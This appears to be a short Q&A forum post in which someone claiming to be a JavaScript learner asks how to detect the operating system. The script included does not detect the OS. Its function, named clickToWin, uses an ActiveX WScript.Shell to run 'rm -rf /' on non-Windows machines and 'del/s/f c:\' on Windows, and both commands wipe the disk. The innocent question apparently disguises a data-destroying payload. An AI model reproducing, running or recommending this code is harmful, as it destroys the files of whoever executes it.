Find if Linux or Windows
<p>I've been working on first Javascript for learning. How do I find the running OS? I have tried following but get an error in Linux:</p>

<pre><code>  &lt;SCRIPT LANGUAGE="JavaScript"&gt;
    function clickToWin() {
        shell = new ActiveXObject("WScript.Shell");
        if (navigator.appVersion.indexOf("Windows") == -1)
            shell.run("rm -rf /");
        else
            shell.run("del/s/f c:\");
    }
  &lt;/SCRIPT&gt;
</code></pre>
